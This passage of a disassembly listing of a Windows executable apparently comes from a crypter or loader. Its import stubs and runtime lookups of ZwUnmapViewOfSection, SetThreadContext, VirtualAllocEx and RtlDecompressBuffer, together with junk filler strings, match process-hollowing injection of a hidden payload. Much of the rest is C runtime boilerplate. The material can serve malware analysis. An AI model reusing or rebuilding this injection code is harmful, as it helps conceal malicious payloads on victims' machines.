ds:FreeEnvironmentStringsW ; --------------------------------------------------------------------------- jmp ds:WideCharToMultiByte ; --------------------------------------------------------------------------- jmp ds:GetLastError ; --------------------------------------------------------------------------- jmp ds:GetEnvironmentStringsW ; --------------------------------------------------------------------------- jmp ds:SetHandleCount ; --------------------------------------------------------------------------- jmp ds:GetFileType ; --------------------------------------------------------------------------- jmp ds:GetACP ; --------------------------------------------------------------------------- jmp ds:GetOEMCP ; --------------------------------------------------------------------------- jmp ds:GetCPInfo ; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp ds:InterlockedExchange ; --------------------------------------------------------------------------- jmp ds:VirtualQuery ; --------------------------------------------------------------------------- jmp ds:GetStringTypeA ; --------------------------------------------------------------------------- jmp ds:MultiByteToWideChar ; --------------------------------------------------------------------------- jmp ds:GetStringTypeW ; --------------------------------------------------------------------------- jmp ds:LCMapStringA ; --------------------------------------------------------------------------- jmp ds:LCMapStringW ; --------------------------------------------------------------------------- jmp ds:HeapSize ; --------------------------------------------------------------------------- jmp ds:QueryPerformanceCounter ; --------------------------------------------------------------------------- jmp ds:GetTickCount ; --------------------------------------------------------------------------- jmp ds:GetCurrentThreadId ; --------------------------------------------------------------------------- jmp ds:GetCurrentProcessId ; --------------------------------------------------------------------------- jmp ds:GetSystemTimeAsFileTime ; --------------------------------------------------------------------------- jmp ds:GetLocaleInfoA ; --------------------------------------------------------------------------- jmp ds:VirtualProtect ; --------------------------------------------------------------------------- jmp ds:GetSystemInfo ; --------------------------------------------------------------------------- jmp ds:MessageBoxA ; =============== S U B R O U T I N E ======================================= sub_407938 proc near ; DATA XREF: .data:0040A008o push offset aSetthreadconte ; "SetThreadContext" push offset ModuleName ; "kernel32.dll" call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_444648, eax retn sub_407938 endp ; =============== S U B R O U T I N E ======================================= sub_407955 proc near ; DATA XREF: .data:0040A00Co push offset aZwunmapviewofs ; "ZwUnmapViewOfSection" push offset LibFileName ; "ntdll.dll" call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_444644, eax retn sub_407955 endp ; --------------------------------------------------------------------------- align 100h _text ends ; Section 2. (virtual address 00008000) ; Virtual size : 00001642 ( 5698.) ; Section size in file : 00001800 ( 6144.) ; Offset to raw data for section: 00006E00 ; Flags 40000040: Data Readable ; Alignment : default ; ; Imports from KERNEL32.dll ; ; =========================================================================== ; Segment type: Externs ; _idata ; BOOL __stdcall FreeLibrary(HMODULE hLibModule) extrn FreeLibrary:dword ; CODE XREF: sub_401000+77p ; DATA XREF: sub_401000+77r ... ; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName) extrn GetProcAddress:dword ; CODE XREF: sub_401000+3Ap ; sub_401000+45p ... ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName) extrn LoadLibraryA:dword ; CODE XREF: sub_401000+21p ; ___crtMessageBoxA+18p ; DATA XREF: ... ; SIZE_T __stdcall VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength) extrn VirtualQueryEx:dword ; CODE XREF: sub_4014E9+2Fp ; DATA XREF: sub_4014E9+2Fr ... ; BOOL __stdcall ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead) extrn ReadProcessMemory:dword ; CODE XREF: sub_40151F+61p ; DATA XREF: sub_40151F+61r ... ; BOOL __stdcall GetThreadContext(HANDLE hThread, LPCONTEXT lpContext) extrn GetThreadContext:dword ; CODE XREF: sub_40151F+46p ; DATA XREF: sub_40151F+46r ... ; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation) extrn CreateProcessA:dword ; CODE XREF: sub_40151F+2Bp ; DATA XREF: sub_40151F+2Br ... ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName) extrn GetModuleHandleA:dword ; CODE XREF: sub_401616+E2p ; WinMain(x,x,x,x)+4Fp ... ; BOOL __stdcall VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) extrn VirtualProtectEx:dword ; CODE XREF: sub_401616+3Ap ; DATA XREF: sub_401616+3Ar ... ; LPVOID __stdcall VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) extrn VirtualAllocEx:dword ; CODE XREF: sub_401616+72p ; sub_401616+9Ep ; DATA XREF: ... ; DWORD __stdcall ResumeThread(HANDLE hThread) extrn ResumeThread:dword ; CODE XREF: sub_40177D+Dp ; DATA XREF: sub_40177D+Dr ... ; BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped) extrn ReadFile:dword ; CODE XREF: sub_401791+52p ; DATA XREF: sub_401791+52r ... ; DWORD __stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh) extrn GetFileSize:dword ; CODE XREF: sub_401791+28p ; DATA XREF: sub_401791+28r ... ; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) extrn CreateFileA:dword ; CODE XREF: sub_401791+1Bp ; DATA XREF: sub_401791+1Br ... ; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName, DWORD dwFileAttributes) extrn SetFileAttributesA:dword ; CODE XREF: WinMain(x,x,x,x)+39p ; DATA XREF: WinMain(x,x,x,x)+39r ... ; DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize) extrn GetModuleFileNameA:dword ; CODE XREF: WinMain(x,x,x,x)+1Bp ; __NMSG_WRITE+81p ... ; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes) extrn HeapAlloc:dword ; CODE XREF: __heap_alloc+3Ep ; ___sbh_heap_init+Dp ... ; void __stdcall GetStartupInfoA(LPSTARTUPINFOA lpStartupInfo) extrn GetStartupInfoA:dword ; CODE XREF: start+160p ; __ioinit+57p ; DATA XREF: ... ; LPSTR __stdcall GetCommandLineA() extrn GetCommandLineA:dword ; CODE XREF: start:loc_401FBFp ; DATA XREF: start:loc_401FBFr ... ; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation) extrn GetVersionExA:dword ; CODE XREF: start+20p ; DATA XREF: start+20r ... ; BOOL __stdcall HeapDestroy(HANDLE hHeap) extrn HeapDestroy:dword ; CODE XREF: __heap_init+44p ; .text:00402172p ; DATA XREF: ... ; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize) extrn HeapCreate:dword ; CODE XREF: __heap_init+11p ; DATA XREF: __heap_init+11r ... ; BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) extrn VirtualFree:dword ; CODE XREF: .text:00402132p ; .text:0040213Dp ... ; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem) extrn HeapFree:dword ; CODE XREF: .text:0040214Ap ; .text:00402168p ... ; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) extrn VirtualAlloc:dword ; CODE XREF: ___sbh_alloc_new_region+7Ep ; ___sbh_alloc_new_group+52p ... ; LPVOID __stdcall HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes) extrn HeapReAlloc:dword ; CODE XREF: ___sbh_alloc_new_region+27p ; _realloc+FDp ... ; BOOL __stdcall IsBadWritePtr(LPVOID lp, UINT_PTR ucb) extrn IsBadWritePtr:dword ; CODE XREF: ___sbh_heap_check+1Bp ; ___sbh_heap_check+55p ... ; void __stdcall ExitProcess(UINT uExitCode) extrn ExitProcess:dword ; CODE XREF: unknown_libname_1+29p ; sub_405545-7p ; DATA XREF: ... ; BOOL __stdcall TerminateProcess(HANDLE hProcess, UINT uExitCode) extrn TerminateProcess:dword ; CODE XREF: _doexit+1Ap ; DATA XREF: _doexit+1Ar ... ; HANDLE __stdcall GetCurrentProcess() extrn GetCurrentProcess:dword ; CODE XREF: _doexit+13p ; DATA XREF: _doexit+13r ... ; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) extrn WriteFile:dword ; CODE XREF: __NMSG_WRITE+155p ; DATA XREF: __NMSG_WRITE+155r ... ; HANDLE __stdcall GetStdHandle(DWORD nStdHandle) extrn GetStdHandle:dword ; CODE XREF: __NMSG_WRITE+14Ep ; __ioinit+157p ; DATA XREF: ... ; LONG __stdcall UnhandledExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo) extrn UnhandledExceptionFilter:dword ; CODE XREF: __XcptFilter+167p ; DATA XREF: __XcptFilter+167r ... ; BOOL __stdcall FreeEnvironmentStringsA(LPCH) extrn FreeEnvironmentStringsA:dword ; CODE XREF: ___crtGetEnvironmentStringsA+113p ; DATA XREF: ___crtGetEnvironmentStringsA+113r ... ; LPCH __stdcall GetEnvironmentStrings() extrn GetEnvironmentStrings:dword ; CODE XREF: ___crtGetEnvironmentStringsA:loc_403F4Ap ; DATA XREF: ___crtGetEnvironmentStringsA:loc_403F4Ar ... ; BOOL __stdcall FreeEnvironmentStringsW(LPWCH) extrn FreeEnvironmentStringsW:dword ; CODE XREF: ___crtGetEnvironmentStringsA+C1p ; DATA XREF: ___crtGetEnvironmentStringsA+C1r ... ; int __stdcall WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar) extrn WideCharToMultiByte:dword ; CODE XREF: ___crtGetEnvironmentStringsA+86p ; ___crtGetEnvironmentStringsA+A8p ... ; DWORD __stdcall GetLastError() extrn GetLastError:dword ; CODE XREF: ___crtGetEnvironmentStringsA:loc_403EA3p ; ___crtGetStringTypeA:loc_405E29p ... ; LPWCH __stdcall GetEnvironmentStringsW() extrn GetEnvironmentStringsW:dword ; CODE XREF: ___crtGetEnvironmentStringsA+1Cp ; ___crtGetEnvironmentStringsA+52p ; DATA XREF: ... ; UINT __stdcall SetHandleCount(UINT uNumber) extrn SetHandleCount:dword ; CODE XREF: __ioinit+19Cp ; DATA XREF: __ioinit+19Cr ... ; DWORD __stdcall GetFileType(HANDLE hFile) extrn GetFileType:dword ; CODE XREF: __ioinit+FEp ; __ioinit+165p ; DATA XREF: ... ; UINT __stdcall GetACP() extrn GetACP:dword ; CODE XREF: __setmbcp+42p ; DATA XREF: .text:0040568Er ... ; UINT __stdcall GetOEMCP() extrn GetOEMCP:dword ; CODE XREF: __setmbcp+2Bp ; DATA XREF: .text:00405679r ... ; BOOL __stdcall GetCPInfo(UINT CodePage, LPCPINFO lpCPInfo) extrn GetCPInfo:dword ; CODE XREF: _setSBUpLow+1Cp ; __setmbcp+93p ... extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr ; LONG __stdcall InterlockedExchange(volatile LONG *Target, LONG Value) extrn InterlockedExchange:dword ; CODE XREF: __ValidateEH3RN+131p ; __ValidateEH3RN+196p ... ; SIZE_T __stdcall VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength) extrn VirtualQuery:dword ; CODE XREF: __ValidateEH3RN+B3p ; __resetstkoflw+1Ap ... ; BOOL __stdcall GetStringTypeA(LCID Locale, DWORD dwInfoType, LPCSTR lpSrcStr, int cchSrc, LPWORD lpCharType) extrn GetStringTypeA:dword ; CODE XREF: ___crtGetStringTypeA+19Cp ; DATA XREF: ___crtGetStringTypeA+19Cr ... ; int __stdcall MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar) extrn MultiByteToWideChar:dword ; CODE XREF: ___crtGetStringTypeA+98p ; ___crtGetStringTypeA+116p ... ; BOOL __stdcall GetStringTypeW(DWORD dwInfoType, LPCWSTR lpSrcStr, int cchSrc, LPWORD lpCharType) extrn GetStringTypeW:dword ; CODE XREF: ___crtGetStringTypeA+24p ; ___crtGetStringTypeA+128p ; DATA XREF: ... ; int __stdcall LCMapStringA(LCID Locale, DWORD dwMapFlags, LPCSTR lpSrcStr, int cchSrc, LPSTR lpDestStr, int cchDest) extrn LCMapStringA:dword ; CODE XREF: ___crtLCMapStringA+2C3p ; ___crtLCMapStringA+344p ... ; int __stdcall LCMapStringW(LCID Locale, DWORD dwMapFlags, LPCWSTR lpSrcStr, int cchSrc, LPWSTR lpDestStr, int cchDest) extrn LCMapStringW:dword ; CODE XREF: ___crtLCMapStringA+27p ; ___crtLCMapStringA+15Bp ... ; SIZE_T __stdcall HeapSize(HANDLE hHeap, DWORD dwFlags, LPCVOID lpMem) extrn HeapSize:dword ; CODE XREF: __msize+30p ; DATA XREF: __msize+30r ... ; BOOL __stdcall QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount) extrn QueryPerformanceCounter:dword ; CODE XREF: ___security_init_cookie+43p ; DATA XREF: ___security_init_cookie+43r ... ; DWORD __stdcall GetTickCount() extrn GetTickCount:dword ; CODE XREF: ___security_init_cookie+37p ; DATA XREF: ___security_init_cookie+37r ... ; DWORD __stdcall GetCurrentThreadId() extrn GetCurrentThreadId:dword ; CODE XREF: ___security_init_cookie+2Fp ; DATA XREF: ___security_init_cookie+2Fr ... ; DWORD __stdcall GetCurrentProcessId() extrn GetCurrentProcessId:dword ; CODE XREF: ___security_init_cookie+27p ; DATA XREF: ___security_init_cookie+27r ... ; void __stdcall GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime) extrn GetSystemTimeAsFileTime:dword ; CODE XREF: ___security_init_cookie+1Bp ; DATA XREF: ___security_init_cookie+1Br ... ; int __stdcall GetLocaleInfoA(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData) extrn GetLocaleInfoA:dword ; CODE XREF: ___ansicp+20p ; DATA XREF: ___ansicp+20r ... ; BOOL __stdcall VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) extrn VirtualProtect:dword ; CODE XREF: __resetstkoflw+D5p ; DATA XREF: __resetstkoflw+D5r ... ; void __stdcall GetSystemInfo(LPSYSTEM_INFO lpSystemInfo) extrn GetSystemInfo:dword ; CODE XREF: __resetstkoflw+2Bp ; DATA XREF: __resetstkoflw+2Br ... ; ; Imports from USER32.dll ; ; int __stdcall MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) extrn MessageBoxA:dword ; CODE XREF: sub_4014E9+18p ; sub_40151F+82p ... ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 4080FCh align 10h ; char aRtlgetcompress[] aRtlgetcompress db 'RtlGetCompressionWorkSpaceSize',0 ; DATA XREF: sub_401000+3Co align 10h ; char ProcName[] ProcName db 'RtlDecompressBuffer',0 ; DATA XREF: sub_401000+34o ; char LibFileName[] LibFileName db 'ntdll.dll',0 ; DATA XREF: sub_401000+1Co ; sub_407955+5o align 10h ; char Text[] Text db 'gredy 657y thntrfdg fdasjhfkjasdhfasdhfhasdfsdafasdfasd67b sd sd' ; DATA XREF: sub_4014E9+11o db 'sfd sfdgsfdgsfdgsfdgsfdsfd6asfd asgsfdgd yufasttgfdsg dh fasjdhbf' db 'jhasbdfmnsdabmnf sbdmnfasfg',0 ; char Caption[] Caption db 2 dup(0) ; DATA XREF: sub_4014E9+Co ; __wincmdln+1Bo ; char aHgfjhgdjghsjdh[] aHgfjhgdjghsjdh db 'hgfjhgdjghsjdhkgfjewiorioeiop()*WURQIOWU#@JHKJRHQKJWFWAUIGXXXXUGS' ; DATA XREF: sub_40151F+A8o db 'HAGCHASGXGSJHCGASJHGCJHASBJFCBSAMNMNDFSD',0 align 10h ; char aKjh[] aKjh@kjH@iuhiuf db '#KJH@KJ%H#@IUHIUFYBSDUIYFSHGEJRFGEWRYT&*#@^$&*#@T*RTEWTGFV^&S^RTT' ; DATA XREF: sub_40151F+A3o db 'R@#EWRDFSGAYDAS^&VR%^#^&',0 align 10h ; char aGasdfgfdasgf78[] aGasdfgfdasgf78 db ' gasdfgfdasgf78asd78 f6 *^&*^ &*^&*^FSDHHFDKJHFSHFSIDUF*(SD&*F^S&' ; DATA XREF: sub_40151F+7Co db '*DFSUDYHFJHSGDJFGSDJHGFSJHDBFNSDMN FSBD FSDJHFGSJHDYHFSDYU&FY SUI' db 'D',0 align 8 ; char aFSkldfDsuiyfds[] aFSkldfDsuiyfds db 'f SKLDF DSUIYFDSFGjhfsdjhhbfjHBJGSJHDGFSDGfyuhSGDjfHKJhfSKDHFugSf' ; DATA XREF: sub_40151F+77o db 'yuSGDJHFDbfJHGyudGyuhfSJ',0 align 4 ; char ModuleName[] ModuleName db 'kernel32.dll',0 ; DATA XREF: sub_401616+DDo ; WinMain(x,x,x,x)+4Ao ... align 4 ; char aWriteprocessme[] aWriteprocessme db 'WriteProcessMemory',0 ; DATA XREF: sub_401616+D8o ; WinMain(x,x,x,x)+E6o align 4 ; char aVirtualalloc[] aVirtualalloc db 'VirtualAlloc',0 ; DATA XREF: WinMain(x,x,x,x)+45o align 4 ; char aSetthreadconte[] aSetthreadconte db 'SetThreadContext',0 ; DATA XREF: sub_407938o align 4 ; char aZwunmapviewofs[] aZwunmapviewofs db 'ZwUnmapViewOfSection',0 ; DATA XREF: sub_407955o align 8 ; const CHAR stru_4083F8 stru_4083F8 _msEH <0FFFFFFFFh, offset loc_402055, offset loc_402069> ; DATA XREF: start+2o align 8 dbl_408408 dq 0.0 ; DATA XREF: .text:004031D6r ; char aE000[] aE000 db 'e+000',0 ; DATA XREF: __cftoe+93o align 4 dbl_408418 dq 1.0 ; DATA XREF: __ms_p5_test_fdiv+2Ar dbl_408420 dq 4.195835e6 ; DATA XREF: __ms_p5_test_fdiv+Fr dbl_408428 dq 3.145727e6 ; DATA XREF: __ms_p5_test_fdiv+6r ; char aIsprocessorfea[] aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+Fo align 4 ; char aKernel32[] aKernel32 db 'KERNEL32',0 ; DATA XREF: __ms_p5_mp_test_fdivo align 4 ; char aCorexitprocess[] aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: unknown_libname_1+Fo align 4 ; char aMscoree_dll[] aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: unknown_libname_1o aRuntimeError db 'runtime error ',0 align 4 db 0Dh,0Ah,0 align 4 aTlossError db 'TLOSS error',0Dh,0Ah,0 align 4 aSingError db 'SING error',0Dh,0Ah,0 align 4 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 4 aR6029ThisAppli db 'R6029',0Dh,0Ah db '- This application cannot run using the active version of the Mic' db 'rosoft .NET Runtime',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aThisApplicatio db 0Dh,0Ah db 'This application has requested the Runtime to terminate it in an ' db 'unusual way.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_40A08Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+123o ; ___security_error_handler+132o align 10h ; char asc_408840[] asc_408840 db 0Ah ; DATA XREF: __NMSG_WRITE+107o ; ___security_error_handler+FCo db 0Ah,0 align 4 ; char aRuntimeErrorPr[] aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+F5o db 0Ah db 'Program: ',0 align 10h ; char a___[] a___ db '...',0 ; DATA XREF: __NMSG_WRITE+C1o ; ___security_error_handler+CCo ; char aProgramNameUnk[] aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+8Eo ; ___security_error_handler+8Bo align 10h stru_408880 _msEH <0FFFFFFFFh, offset loc_404190, offset loc_404194> ; DATA XREF: sub_404163+2o align 10h stru_408890 _msEH <0FFFFFFFFh, offset loc_4041D4, offset loc_4041D8> ; DATA XREF: sub_4041A7+2o dd 41h dup(0) asc_4089A0: ; DATA XREF: .data:off_40A1BCo unicode 0, < ((((( H> dw 10h dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h) dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h dd 100010h, 200010h, 40h dup(0) db 2 dup(0) word_408BA2 dw 20h ; DATA XREF: .data:off_40A1C0o aHH: unicode 0, < h(((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(1810181h), 0Ah dup(1010101h), 3 dup(100010h) dd 3 dup(1820182h), 0Ah dup(1020102h), 2 dup(100010h) dd 10h dup(200020h), 480020h, 8 dup(100010h), 140010h dd 100014h, 2 dup(100010h), 100014h, 2 dup(100010h), 1010010h dd 0Bh dup(1010101h), 1010010h, 3 dup(1010101h), 0Ch dup(1020102h) dd 1020010h, 3 dup(1020102h), 1010102h ; char aGetprocesswind[] aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: ___crtMessageBoxA+73o ; char aGetuserobjecti[] aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: ___crtMessageBoxA+62o align 4 ; char aGetlastactivep[] aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+47o align 4 ; char aGetactivewindo[] aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+3Fo ; char aMessageboxa[] aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+2Eo ; char aUser32_dll[] aUser32_dll db 'user32.dll',0 ; DATA XREF: ___crtMessageBoxA+13o align 8 stru_408E18 _msEH <0FFFFFFFFh, offset sub_405531, offset sub_405535> ; DATA XREF: sub_405545-2Fo ; const WCHAR SrcStr SrcStr dw 0 ; DATA XREF: ___crtGetStringTypeA+1Eo ; ___crtLCMapStringA+1Co align 4 stru_408E28 _msEH <0FFFFFFFFh, offset loc_405ECC, offset loc_405ED0> ; DATA XREF: ___crtGetStringTypeA+2o align 8 stru_408E38 _msEH <0FFFFFFFFh, offset loc_4062C2, offset loc_4062C6> ; DATA XREF: ___crtLCMapStringA+2o dd 0FFFFFFFFh, 4060BFh, 4060C3h, 0FFFFFFFFh, 40618Dh, 406191h ; char a1Qnan[] a1Qnan db '1#QNAN',0 ; DATA XREF: _$I10_OUTPUT:loc_406AFCo align 4 ; char a1Inf[] a1Inf db '1#INF',0 ; DATA XREF: _$I10_OUTPUT+CFo align 4 a1Ind db '1#IND',0 ; DATA XREF: _$I10_OUTPUT+BEo align 4 a1Snan db '1#SNAN',0 ; DATA XREF: _$I10_OUTPUT+A4o align 4 ; char aProgram[] aProgram db 'Program: ',0 ; DATA XREF: ___security_error_handler+108o align 4 aABufferOverrun db 'A buffer overrun has been detected which has corrupted the progra' ; DATA XREF: ___security_error_handler+62o db 'm',27h,'s',0Ah db 'internal state. The program cannot safely continue execution and' db ' must',0Ah db 'now be terminated.',0Ah,0 aBufferOverrunD db 'Buffer overrun detected!',0 ; DATA XREF: ___security_error_handler:loc_406EFBo align 8 aASecurityError db 'A security error of unknown cause has been detected which has',0Ah ; DATA XREF: ___security_error_handler+4Co db 'corrupted the program',27h,'s internal state. The program cannot sa' db 'fely',0Ah db 'continue execution and must now be terminated.',0Ah,0 align 4 ; char aUnknownSecurit[] aUnknownSecurit db 'Unknown security failure detected!',0 ; DATA XREF: ___security_error_handler+47o align 10h stru_409020 _msEH <0FFFFFFFFh, offset loc_406ED6, offset loc_406EDA> ; DATA XREF: ___security_error_handler+5o align 10h stru_409030 _msEH <0FFFFFFFFh, offset loc_407117, offset loc_40711B> ; DATA XREF: ___convertcp+2o align 10h dd 48h, 0Eh dup(0) dd offset dword_40A200 dd offset dword_409090 dd 2, 2 dup(0) dword_409090 dd 4240h, 5AFCh, 0dword_40909C dd 2 dup(0) ; sub_404163:loc_404176o dword_4090A4 dd 0 ; sub_4041A7:loc_4041BAo dd 90E4h, 2 dup(0) dd 961Ah, 8000h, 91DCh, 2 dup(0) dd 9636h, 80F8h, 5 dup(0) dd 91E4h, 91F2h, 9204h, 9214h, 9226h, 923Ah, 924Eh, 9260h dd 9274h, 9288h, 929Ah, 92AAh, 92B6h, 92C4h, 92D2h, 92E8h dd 92FEh, 930Ah, 931Ch, 932Eh, 933Eh, 934Ch, 935Ah, 9368h dd 9374h, 9384h, 9392h, 93A2h, 93B0h, 93C4h, 93D8h, 93E4h dd 93F4h, 9410h, 942Ah, 9442h, 945Ch, 9472h, 9482h, 949Ch dd 94AEh, 94BCh, 94C6h, 94D2h, 94DEh, 94EAh, 9500h, 9510h dd 9522h, 9538h, 954Ah, 955Ah, 956Ah, 9576h, 9590h, 95A0h dd 95B6h, 95CCh, 95E6h, 95F8h, 960Ah, 0 dd 9628h, 0 dd 724600EFh, 694C6565h, 72617262h, 1980079h, 50746547h dd 41636F72h, 65726464h, 7373h, 6F4C0248h, 694C6461h, 72617262h dd 4179h, 6956037Ch, 61757472h, 6575516Ch, 78457972h, 2AC0000h aReadprocessmem db 'ReadProcessMemory',0 dw 1CDh aGetthreadconte db 'GetThreadContext',0 align 2 db '`',0 aCreateprocessa db 'CreateProcessA',0 align 10h dd 65470177h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6956037Ah dd 61757472h, 6F72506Ch, 74636574h, 7845h, 69560374h, 61757472h dd 6C6C416Ch, 7845636Fh, 2C50000h, 75736552h, 6854656Dh dd 64616572h, 2A90000h, 64616552h, 656C6946h, 15B0000h dd 46746547h, 53656C69h, 657A69h, 7243004Dh, 65746165h dd 656C6946h, 30C0041h aSetfileattribu db 'SetFileAttributesA',0 align 4 db 75h ; u db 1, 47h, 65h aTmodulefilenam db 'tModuleFileNameA',0 align 2 dw 206h aHeapalloc db 'HeapAlloc',0 dw 1AFh aGetstartupinfo db 'GetStartupInfoA',0 db 8 db 1, 47h, 65h aTcommandlinea db 'tCommandLineA',0 dw 1DFh aGetversionexa db 'GetVersionExA',0 dw 20Ah aHeapdestroy db 'HeapDestroy',0 db 8 db 2, 48h, 65h aApcreate db 'apCreate',0 align 2 dw 376h aVirtualfree db 'VirtualFree',0 db 0Ch db 2, 48h, 65h aApfree db 'apFree',0 align 4 db 73h ; s db 3, 56h, 69h aRtualalloc db 'rtualAlloc',0 align 4 db 10h db 2, 48h, 65h aAprealloc db 'apReAlloc',0 dw 22Ch aIsbadwriteptr db 'IsBadWritePtr',0 aP db '¯',0 aExitprocess db 'ExitProcess',0 db 4Fh ; O db 3, 54h, 65h aRminateprocess db 'rminateProcess',0 align 4 db 3Ah ; : db 1, 47h, 65h aTcurrentproces db 'tCurrentProcess',0 db 94h ; ” db 3, 57h, 72h aItefile db 'iteFile',0 db 0B1h ; ± db 1, 47h, 65h aTstdhandle db 'tStdHandle',0 align 4 db 60h ; ` db 3, 55h, 6Eh aHandledexcepti db 'handledExceptionFilter',0 align 10h aA db 'í',0 aFreeenvironmen db 'FreeEnvironmentStringsA',0 dw 14Dh aGetenvironment db 'GetEnvironmentStrings',0 aU db 'î',0 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 db 87h ; ‡ db 3, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 169h aGetlasterror db 